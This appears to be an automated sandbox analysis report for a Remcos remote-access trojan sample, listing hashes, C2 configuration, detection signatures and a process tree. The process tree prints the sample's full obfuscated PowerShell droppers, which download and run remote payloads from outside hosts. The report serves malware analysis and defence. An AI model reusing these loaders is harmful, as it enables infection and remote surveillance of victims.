remcos | 53567cc7f7c6d7d1538b06ce9bc2d61b262c5fe0b491afcbb68b042e4ecb1128

Analysis

max time kernel
149s
max time network
146s
platform
windows10-2004_x64
resource
win10v2004-20250129-en
resource tags

arch:x64arch:x86image:win10v2004-20250129-enlocale:en-usos:windows10-2004-x64system
submitted
05/02/2025, 03:44

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
53567cc7f7c6d7d1538b06ce9bc2d61b262c5fe0b491afcbb68b042e4ecb1128.hta
Size 14KB
Sample250205-eamylazjcj
SHA256 53567cc7f7c6d7d1538b06ce9bc2d61b262c5fe0b491afcbb68b042e4ecb1128
MD5 b6572f3c40c7c1f48cf6d3cf6383e58d
SHA1 ef572061a9b3a4bf0a1b1df74357edc4f810c039
SHA512 1df142f5f3e71a93d41452ae666003c173de45395501c75dd9405813ec10600e5f674e5647e6c1b6f7f53b90e5b2687c951c4fecc2e19332bc93a614e3efd8f0
SSDEEP 96:fLgCkOWCkoT+aKau28uaDrUgrUCicCkbZ+:0CkVCkoT+aKarp/kCkk
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

remcos remotehost defense_evasion discovery execution rat

Malware Config

Extracted

Family

remcos

Botnet

RemoteHost

192.3.243.136:6878

Attributes

audio_folder
MicRecords
audio_path
ApplicationPath
audio_record_time
5
connect_delay
0
connect_interval
1
copy_file
remcos.exe
copy_folder
Remcos
delete_file
false
hide_file
false
hide_keylog_file
false
install_flag
false
keylog_crypt
false
keylog_file
logs.dat
keylog_flag
false
keylog_folder
remcos
mouse_option
false
mutex
Rmc-JARS2X
screenshot_crypt
false
screenshot_flag
false
screenshot_folder
Screenshots
screenshot_path
%AppData%
screenshot_time
10
take_screenshot_option
false
take_screenshot_time
5

Signatures

Remcos
Remcos is a closed-source remote control and surveillance software.
rat remcos
Remcos family
remcos

Blocklisted process makes network request 3 IoCs

flow	pid	Process
19	2400	powershell.exe
22	3680	powershell.exe
23	3680	powershell.exe

Evasion via Device Credential Deployment 2 IoCs

defense_evasion execution

pid	Process
3008	cmd.exe
2400	powershell.exe

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-4003209913-3868522715-854928974-1000\Control Panel\International\Geo\Nation	mshta.exe
Key value queried	\REGISTRY\USER\S-1-5-21-4003209913-3868522715-854928974-1000\Control Panel\International\Geo\Nation	WScript.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
3680	powershell.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 3680 set thread context of 2080	3680	powershell.exe	96

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 8 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WScript.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	CasPol.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mshta.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	csc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cvtres.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-4003209913-3868522715-854928974-1000_Classes\Local Settings	powershell.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
2400	powershell.exe
2400	powershell.exe
3680	powershell.exe
3680	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	2400	powershell.exe
Token: SeDebugPrivilege	3680	powershell.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
2080	CasPol.exe

Suspicious use of WriteProcessMemory 28 IoCs

description	pid	Process	procid_target
PID 4896 wrote to memory of 3008	4896	mshta.exe	85
PID 4896 wrote to memory of 3008	4896	mshta.exe	85
PID 4896 wrote to memory of 3008	4896	mshta.exe	85
PID 3008 wrote to memory of 2400	3008	cmd.exe	87
PID 3008 wrote to memory of 2400	3008	cmd.exe	87
PID 3008 wrote to memory of 2400	3008	cmd.exe	87
PID 2400 wrote to memory of 2108	2400	powershell.exe	90
PID 2400 wrote to memory of 2108	2400	powershell.exe	90
PID 2400 wrote to memory of 2108	2400	powershell.exe	90
PID 2108 wrote to memory of 2044	2108	csc.exe	92
PID 2108 wrote to memory of 2044	2108	csc.exe	92
PID 2108 wrote to memory of 2044	2108	csc.exe	92
PID 2400 wrote to memory of 2068	2400	powershell.exe	93
PID 2400 wrote to memory of 2068	2400	powershell.exe	93
PID 2400 wrote to memory of 2068	2400	powershell.exe	93
PID 2068 wrote to memory of 3680	2068	WScript.exe	94
PID 2068 wrote to memory of 3680	2068	WScript.exe	94
PID 2068 wrote to memory of 3680	2068	WScript.exe	94
PID 3680 wrote to memory of 2080	3680	powershell.exe	96
PID 3680 wrote to memory of 2080	3680	powershell.exe	96
PID 3680 wrote to memory of 2080	3680	powershell.exe	96
PID 3680 wrote to memory of 2080	3680	powershell.exe	96
PID 3680 wrote to memory of 2080	3680	powershell.exe	96
PID 3680 wrote to memory of 2080	3680	powershell.exe	96
PID 3680 wrote to memory of 2080	3680	powershell.exe	96
PID 3680 wrote to memory of 2080	3680	powershell.exe	96
PID 3680 wrote to memory of 2080	3680	powershell.exe	96
PID 3680 wrote to memory of 2080	3680	powershell.exe	96

C:\Windows\SysWOW64\mshta.exe
C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\53567cc7f7c6d7d1538b06ce9bc2d61b262c5fe0b491afcbb68b042e4ecb1128.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
1⤵
- Checks computer location settings
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:4896
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\system32\cmd.exe" "/c pOWershell.exe -ex bypASS -NOP -w 1 -C DeviCECredEnTiaLdeploYmeNt ; iEX($(IEx('[sYStEM.TEXT.encOdinG]'+[cHar]0x3a+[ChAR]0X3a+'UtF8.GetstrING([SYSTeM.CoNVERt]'+[chaR]0X3a+[chAr]0X3A+'fROMbASe64sTrING('+[ChAr]34+'JEdrb1B4ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEFEZC1UWXBlICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU1FbWJFckRlZmluSVRJT24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgiVVJsbW9OIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgbWRjLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIExvS2Isc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgdWlDeSx1aW50ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgY1ZzdFpkblYsSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgUWJPY0x4KTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU5BbWUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiWU5aIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OYU1lU1BBY2UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBGb3VoICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRHa29QeDo6VVJMRG93bmxvYWRUb0ZpbGUoMCwiaHR0cDovLzEwNC4xNjguNy43Mi80MzAvZ29vZGdpcmxhbHdheXNiZWFnb29kZ2lybHdpdGhiZXR0ZXJwZXJzb25nb29kLmdJRiIsIiRlTnY6QVBQREFUQVxnb29kZ2lybGFsd2F5c2JlYWdvb2RnaXJsd2l0aGJldHRlcnBlcnNvbmdvb2dpcmx3aXRoLnZicyIsMCwwKTtTdEFSVC1zbGVFcCgzKTtJbnZPa2UtaXRFTSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkRW5WOkFQUERBVEFcZ29vZGdpcmxhbHdheXNiZWFnb29kZ2lybHdpdGhiZXR0ZXJwZXJzb25nb29naXJsd2l0aC52YnMi'+[ChAr]34+'))')))"
  2⤵
  - Evasion via Device Credential Deployment
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:3008
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    pOWershell.exe -ex bypASS -NOP -w 1 -C DeviCECredEnTiaLdeploYmeNt ; iEX($(IEx('[sYStEM.TEXT.encOdinG]'+[cHar]0x3a+[ChAR]0X3a+'UtF8.GetstrING([SYSTeM.CoNVERt]'+[chaR]0X3a+[chAr]0X3A+'fROMbASe64sTrING('+[ChAr]34+'JEdrb1B4ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEFEZC1UWXBlICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU1FbWJFckRlZmluSVRJT24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgiVVJsbW9OIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgbWRjLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIExvS2Isc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgdWlDeSx1aW50ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgY1ZzdFpkblYsSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgUWJPY0x4KTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU5BbWUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiWU5aIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OYU1lU1BBY2UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBGb3VoICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRHa29QeDo6VVJMRG93bmxvYWRUb0ZpbGUoMCwiaHR0cDovLzEwNC4xNjguNy43Mi80MzAvZ29vZGdpcmxhbHdheXNiZWFnb29kZ2lybHdpdGhiZXR0ZXJwZXJzb25nb29kLmdJRiIsIiRlTnY6QVBQREFUQVxnb29kZ2lybGFsd2F5c2JlYWdvb2RnaXJsd2l0aGJldHRlcnBlcnNvbmdvb2dpcmx3aXRoLnZicyIsMCwwKTtTdEFSVC1zbGVFcCgzKTtJbnZPa2UtaXRFTSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkRW5WOkFQUERBVEFcZ29vZGdpcmxhbHdheXNiZWFnb29kZ2lybHdpdGhiZXR0ZXJwZXJzb25nb29naXJsd2l0aC52YnMi'+[ChAr]34+'))')))"
    3⤵
    - Blocklisted process makes network request
    - Evasion via Device Credential Deployment
    - System Location Discovery: System Language Discovery
    - Modifies registry class
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:2400
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\uih435q3\uih435q3.cmdline"
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:2108
    - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESBD64.tmp" "c:\Users\Admin\AppData\Local\Temp\uih435q3\CSC63E7E9B3D40B41EC9E968BFFA7EDA2AD.TMP"
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:2044
  - - C:\Windows\SysWOW64\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\goodgirlalwaysbeagoodgirlwithbetterpersongoogirlwith.vbs"
      4⤵
      Checks computer location settings
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:2068
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -Command "[System.Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('JABvAHIAaQBnAGkAbgBhAGwAVABlAHgAdAAgAD0AIAAnAHQAeAB0AC4AZQBpAHQAcwBlAGIAeQBtAHIAbwBmAGQAbwBvAGcAcwBzAGUAbgB0AGEAZQByAGcAaAB0AGkAdwBzAGcAbgBpAGgAdAB0AHMAZQBiAGUAaAB0AGUAZQBzAC8AMAAzADQALwAyADcALgA3AC4AOAA2ADEALgA0ADAAMQAvAC8AOgBwAHQAdABoACcAOwAkAHIAZQBzAHQAbwByAGUAZABUAGUAeAB0ACAAPQAgACQAbwByAGkAZwBpAG4AYQBsAFQAZQB4AHQAIAAtAHIAZQBwAGwAYQBjAGUAIAAnACMAJwAsACAAJwB0ACcAOwAkAGkAbQBhAGcAZQBVAHIAbAAgAD0AIAAnAGgAdAB0AHAAcwA6AC8ALwByAGUAcwAuAGMAbABvAHUAZABpAG4AYQByAHkALgBjAG8AbQAvAGQAYQB4AHcAdQBhADYAMwB5AC8AaQBtAGEAZwBlAC8AdQBwAGwAbwBhAGQALwB2ADEANwAzADgAMwAzADQANQAzADMALwBhAGwAYwBiADQAaAB0AG8AbAB6AHYAZgBoAHoAegB1AGYAcQBoADUALgBqAHAAZwAnADsAJAB3AGUAYgBDAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ADsAJABpAG0AYQBnAGUAQgB5AHQAZQBzACAAPQAgACQAdwBlAGIAQwBsAGkAZQBuAHQALgBEAG8AdwBuAGwAbwBhAGQARABhAHQAYQAoACQAaQBtAGEAZwBlAFUAcgBsACkAOwAkAGkAbQBhAGcAZQBUAGUAeAB0ACAAPQAgAFsAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUAVABGADgALgBHAGUAdABTAHQAcgBpAG4AZwAoACQAaQBtAGEAZwBlAEIAeQB0AGUAcwApADsAJABzAHQAYQByAHQARgBsAGEAZwAgAD0AIAAnADwAPABCAEEAUwBFADYANABfAFMAVABBAFIAVAA+AD4AJwA7ACQAZQBuAGQARgBsAGEAZwAgAD0AIAAnADwAPABCAEEAUwBFADYANABfAEUATgBEAD4APgAnADsAJABzAHQAYQByAHQASQBuAGQAZQB4ACAAPQAgACQAaQBtAGEAZwBlAFQAZQB4AHQALgBJAG4AZABlAHgATwBmACgAJABzAHQAYQByAHQARgBsAGEAZwApADsAJABlAG4AZABJAG4AZABlAHgAIAA9ACAAJABpAG0AYQBnAGUAVABlAHgAdAAuAEkAbgBkAGUAeABPAGYAKAAkAGUAbgBkAEYAbABhAGcAKQA7ACQAcwB0AGEAcgB0AEkAbgBkAGUAeAAgAC0AZwBlACAAMAAgAC0AYQBuAGQAIAAkAGUAbgBkAEkAbgBkAGUAeAAgAC0AZwB0ACAAJABzAHQAYQByAHQASQBuAGQAZQB4ADsAJABzAHQAYQByAHQASQBuAGQAZQB4ACAAKwA9ACAAJABzAHQAYQByAHQARgBsAGEAZwAuAEwAZQBuAGcAdABoADsAJABiAGEAcwBlADYANABMAGUAbgBnAHQAaAAgAD0AIAAkAGUAbgBkAEkAbgBkAGUAeAAgAC0AIAAkAHMAdABhAHIAdABJAG4AZABlAHgAOwAkAGIAYQBzAGUANgA0AEMAbwBtAG0AYQBuAGQAIAA9ACAAJABpAG0AYQBnAGUAVABlAHgAdAAuAFMAdQBiAHMAdAByAGkAbgBnACgAJABzAHQAYQByAHQASQBuAGQAZQB4ACwAIAAkAGIAYQBzAGUANgA0AEwAZQBuAGcAdABoACkAOwAkAGMAbwBtAG0AYQBuAGQAQgB5AHQAZQBzACAAPQAgAFsAUwB5AHMAdABlAG0ALgBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAAkAGIAYQBzAGUANgA0AEMAbwBtAG0AYQBuAGQAKQA7ACQAbABvAGEAZABlAGQAQQBzAHMAZQBtAGIAbAB5ACAAPQAgAFsAUwB5AHMAdABlAG0ALgBSAGUAZgBsAGUAYwB0AGkAbwBuAC4AQQBzAHMAZQBtAGIAbAB5AF0AOgA6AEwAbwBhAGQAKAAkAGMAbwBtAG0AYQBuAGQAQgB5AHQAZQBzACkAOwAkAHQAeQBwAGUAIAA9ACAAWwBDAGwAYQBzAHMATABpAGIAcgBhAHIAeQAxAC4ASABvAG0AZQBdAC4ARwBlAHQATQBlAHQAaABvAGQAKAAnAG0AYQBpAG4AJwApAC4ASQBuAHYAbwBrAGUAKAAkAG4AdQBsAGwALAAgAFsAbwBiAGoAZQBjAHQAWwBdAF0AIABAACgAJAByAGUAcwB0AG8AcgBlAGQAVABlAHgAdAAsACcAZgBhAGwAcwBlACcALAAnAEMAYQBzAFAAbwBsACcALAAnAGYAYQBsAHMAZQAnACkAKQA=')) | Invoke-Expression"
        5⤵
        Blocklisted process makes network request
        Command and Scripting Interpreter: PowerShell
        Suspicious use of SetThreadContext
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:3680
      - C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe"
        6⤵
        System Location Discovery: System Language Discovery
        Suspicious use of SetWindowsHookEx
        
        PID:2080

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

logs.dat

Path C:\ProgramData\remcos\logs.dat
Size 102B
SHA256 aeb9378ce449ff1a92436e0fb8896edff67ba7b195b5d028ae200859cfbfba9d
MD5 2e3b8c411d72c4ab9ba465cbe5aaa95d
SHA1 f81f8d26cb97ebbb7ab1a78f1931042e3b27e7ea
SHA512 8afebddb4503282edd732702bf42bf34b28a4ffaf9a4894b285d090e54b3ee998714b94ffe7e22fddc81012f3d341677de0f14cbdda56c0e07462b1751967101
MD5 SHA1 SHA512

Submit Download

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log
Size 2KB
SHA256 75207b26127c0778928b2c0ce51d371a1b4f5a4c47596902f88dbff9ddd16a79
MD5 fb1df442f2cee34456c6ed9064318559
SHA1 729e8f61f181b303d25e1f709399db242d82c6c2
SHA512 d6df1b8e17733d65ae332d20a22fcbc2cdec8df38a705b694b4d87b2f0c9c287378791c3da2cb2142e95f31df1b4209e01a17a83eabfcb2175f38a9207ad0294
MD5 SHA1 SHA512

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 19KB
SHA256 53158bd58acd9abcce389ff0ad33bc1eafa5b37517a9ee643897e19de1aa0764
MD5 6fcb3bb714fe3c8d284891899b48c127
SHA1 f7e6e012fc90d9b72ecf88d1a47e19f4a79a5ade
SHA512 675a498e95dd710a18fa5d54dd37116aeb2cddf03a6ec72c09c1892be642d3ea6efd73758b915ed69ffe8373c60efa5c622d72ddd20312a5604d808ead82df00
SSDEEP 384:a6+ERh9p+u981UckYLo9oFTof6seYuQ8/0UM3SoxxEsf8keEqSwd0gCp3QKGly2M:HPL9CkY8oFTogZXsRSsEGWEqeZB5L
MD5 SHA1 SHA512 SSDEEP

Submit Download

RESBD64.tmp

Path C:\Users\Admin\AppData\Local\Temp\RESBD64.tmp
Size 1KB
SHA256 65d46b83cddae03dace36cd2c9b0d8eb78829c6206d96f79ad71abb8c4912175
MD5 b9ca6f5dad5fec8e01d5e5e07bc882ee
SHA1 6493435c07af3f74e8ce326ce2c4613cb13fcb93
SHA512 706c1ee72c71d02ddb9100666c589f015a79863dd66be21c97de51fb61cec5cfc28d75b7093492105d8b160634ad7af2a9bb6145d36282fb92f547aaf4e9b7d1
MD5 SHA1 SHA512

Submit Download

__PSScriptPolicyTest_2r4aafh0.ewx.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_2r4aafh0.ewx.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
MD5 SHA1 SHA512

Submit Download

uih435q3.dll

Path C:\Users\Admin\AppData\Local\Temp\uih435q3\uih435q3.dll
Size 3KB
SHA256 51af3fc88efebba62f3484254af1cbc1455f52158ffb777b34b378bb195dddfd
MD5 6d5fef2c7804855307cc1c2575c27e0a
SHA1 1619ad67c14636a16938e4a97b2f80ed9ddd525d
SHA512 c53418b66180cf4bbbce1c54a052690988788caea37a33d5e130fd73f8b563f0270187c2e5bcf9cdbcd5cdc5df10ab52c92757d2fbfa206ff9ca077fa3da9c22
MD5 SHA1 SHA512

Submit Download

goodgirlalwaysbeagoodgirlwithbetterpersongoogirlwith.vbs

Path C:\Users\Admin\AppData\Roaming\goodgirlalwaysbeagoodgirlwithbetterpersongoogirlwith.vbs
Size 223KB
SHA256 048099ca7e2e55ad822eb367fcc5b7e5ecf98557651825a03c34ca8373120139
MD5 333ba8d914c321df855e5b74274f38d0
SHA1 e5d512a9c1d7c5be82bf4fd4e9b5dea83793ca79
SHA512 50699c6433d0d541658d8a419f3a240b49c60b06352fc5f9d61008decf647f03e40a2afcc20c1ba5855ae34eb7c45dec52c4f7ab46d81bafa9e7be83a006fe7f
SSDEEP 3072:aoLVmI3b0mgfmWu+0Ee9VOv6G5sVhQ30Wk+70wgA11:aoLV2e9VOv7
MD5 SHA1 SHA512 SSDEEP

Submit Download

CSC63E7E9B3D40B41EC9E968BFFA7EDA2AD.TMP

Path \??\c:\Users\Admin\AppData\Local\Temp\uih435q3\CSC63E7E9B3D40B41EC9E968BFFA7EDA2AD.TMP
Size 652B
SHA256 5ec5d4892435231ef32e441d4d1ab21ced8f159983794cad0a951c9d45a8704b
MD5 9a055ca79337eff2ce68e47fe4246b2c
SHA1 77a596d31ad451a221d28374ebb7b077bb4f2523
SHA512 3b8e2d911c8fc5cbe09bb212bb959c47fc41baf812a3b6ebe847da4e7bcbd0aeb5cb9685cf25c2bf5c91feed1ab5af83a08fe8b4bf45297c1ef5e14ccb50d6a7
MD5 SHA1 SHA512

Submit Download

uih435q3.0.cs

Path \??\c:\Users\Admin\AppData\Local\Temp\uih435q3\uih435q3.0.cs
Size 465B
SHA256 59fb5ee2f23beec8c2623d2686a7b52d2eaf786f90869990d525facc2a2da7fa
MD5 7da95fb8f830258ef72b0f5c7b4d425c
SHA1 c625a70e4f81b9e04b7d95479e37c90e9c8f4f71
SHA512 039be9d1aabc4e450ab1ffe219425f21e3938fc530899863908c4900545275d5468659fd1cd0665a05d521f81eca17417b8f82e8eea102ddca08c0c82cc05926
MD5 SHA1 SHA512

Submit Download

uih435q3.cmdline

Path \??\c:\Users\Admin\AppData\Local\Temp\uih435q3\uih435q3.cmdline
Size 369B
SHA256 e3ef0b8bd5d6688af55a6bd156d67d58c7dc1cc76d964f373e8c28078005d474
MD5 427a011a791c2c1876b3207a4f760e1a
SHA1 b92eaf67630c8881fe293e47621ec9e4db16be27
SHA512 8ed3bca93ef273adfafcadf9d33aeb2270bbf6ec8bd9e2a9b029b4e2760e39089a5f7cf72f0c2267b453a7ba6b9fd29b1c5cd7931ac6bdb7d5daaf027d8e8649
MD5 SHA1 SHA512

Submit Download

memory/2080-91-0x0000000000400000-0x0000000000480000-memory.dmp

Download

memory/2080-90-0x0000000000400000-0x0000000000480000-memory.dmp

Download

memory/2080-136-0x0000000000400000-0x0000000000480000-memory.dmp

Download

memory/2080-135-0x0000000000400000-0x0000000000480000-memory.dmp

Download

memory/2080-127-0x0000000000400000-0x0000000000480000-memory.dmp

Download

memory/2080-128-0x0000000000400000-0x0000000000480000-memory.dmp

Download

memory/2080-120-0x0000000000400000-0x0000000000480000-memory.dmp

Download

memory/2080-119-0x0000000000400000-0x0000000000480000-memory.dmp

Download

memory/2080-112-0x0000000000400000-0x0000000000480000-memory.dmp

Download

memory/2080-111-0x0000000000400000-0x0000000000480000-memory.dmp

Download

memory/2080-104-0x0000000000400000-0x0000000000480000-memory.dmp

Download

memory/2080-103-0x0000000000400000-0x0000000000480000-memory.dmp

Download

memory/2080-100-0x0000000000400000-0x0000000000480000-memory.dmp

Download

memory/2080-99-0x0000000000400000-0x0000000000480000-memory.dmp

Download

memory/2080-98-0x0000000000400000-0x0000000000480000-memory.dmp

Download

memory/2080-92-0x0000000000400000-0x0000000000480000-memory.dmp

Download

memory/2080-95-0x0000000000400000-0x0000000000480000-memory.dmp

Download

memory/2080-96-0x0000000000400000-0x0000000000480000-memory.dmp

Download

memory/2400-42-0x0000000007BE0000-0x0000000007BEE000-memory.dmp

Download

memory/2400-36-0x0000000008000000-0x000000000867A000-memory.dmp

Download

memory/2400-13-0x0000000006070000-0x00000000063C4000-memory.dmp

Download

memory/2400-6-0x0000000005F90000-0x0000000005FF6000-memory.dmp

Download

memory/2400-7-0x0000000006000000-0x0000000006066000-memory.dmp

Download

memory/2400-58-0x0000000007C20000-0x0000000007C28000-memory.dmp

Download

memory/2400-5-0x0000000005EF0000-0x0000000005F12000-memory.dmp

Download

memory/2400-60-0x0000000071C5E000-0x0000000071C5F000-memory.dmp

Download

memory/2400-61-0x0000000071C50000-0x0000000072400000-memory.dmp

Download

memory/2400-66-0x0000000071C50000-0x0000000072400000-memory.dmp

Download

memory/2400-67-0x0000000007ED0000-0x0000000007EF2000-memory.dmp

Download

memory/2400-68-0x0000000008C30000-0x00000000091D4000-memory.dmp

Download

memory/2400-4-0x0000000071C50000-0x0000000072400000-memory.dmp

Download

memory/2400-74-0x0000000071C50000-0x0000000072400000-memory.dmp

Download

memory/2400-3-0x0000000005790000-0x0000000005DB8000-memory.dmp

Download

memory/2400-21-0x000000006E510000-0x000000006E55C000-memory.dmp

Download

memory/2400-2-0x0000000071C50000-0x0000000072400000-memory.dmp

Download

memory/2400-20-0x0000000007630000-0x0000000007662000-memory.dmp

Download

memory/2400-22-0x0000000071C50000-0x0000000072400000-memory.dmp

Download

memory/2400-23-0x000000006E840000-0x000000006EB94000-memory.dmp

Download

memory/2400-45-0x0000000007C20000-0x0000000007C28000-memory.dmp

Download

memory/2400-0-0x0000000071C5E000-0x0000000071C5F000-memory.dmp

Download

memory/2400-44-0x0000000007C30000-0x0000000007C4A000-memory.dmp

Download

memory/2400-43-0x0000000007BF0000-0x0000000007C04000-memory.dmp

Download

memory/2400-19-0x0000000006710000-0x000000000675C000-memory.dmp

Download

memory/2400-41-0x0000000007BB0000-0x0000000007BC1000-memory.dmp

Download

memory/2400-40-0x0000000007C50000-0x0000000007CE6000-memory.dmp

Download

memory/2400-39-0x0000000007A30000-0x0000000007A3A000-memory.dmp

Download

memory/2400-18-0x0000000006670000-0x000000000668E000-memory.dmp

Download

memory/2400-37-0x00000000079C0000-0x00000000079DA000-memory.dmp

Download

memory/2400-1-0x0000000003080000-0x00000000030B6000-memory.dmp

Download

memory/2400-38-0x0000000071C50000-0x0000000072400000-memory.dmp

Download

memory/2400-35-0x0000000007670000-0x0000000007713000-memory.dmp

Download

memory/2400-34-0x0000000071C50000-0x0000000072400000-memory.dmp

Download

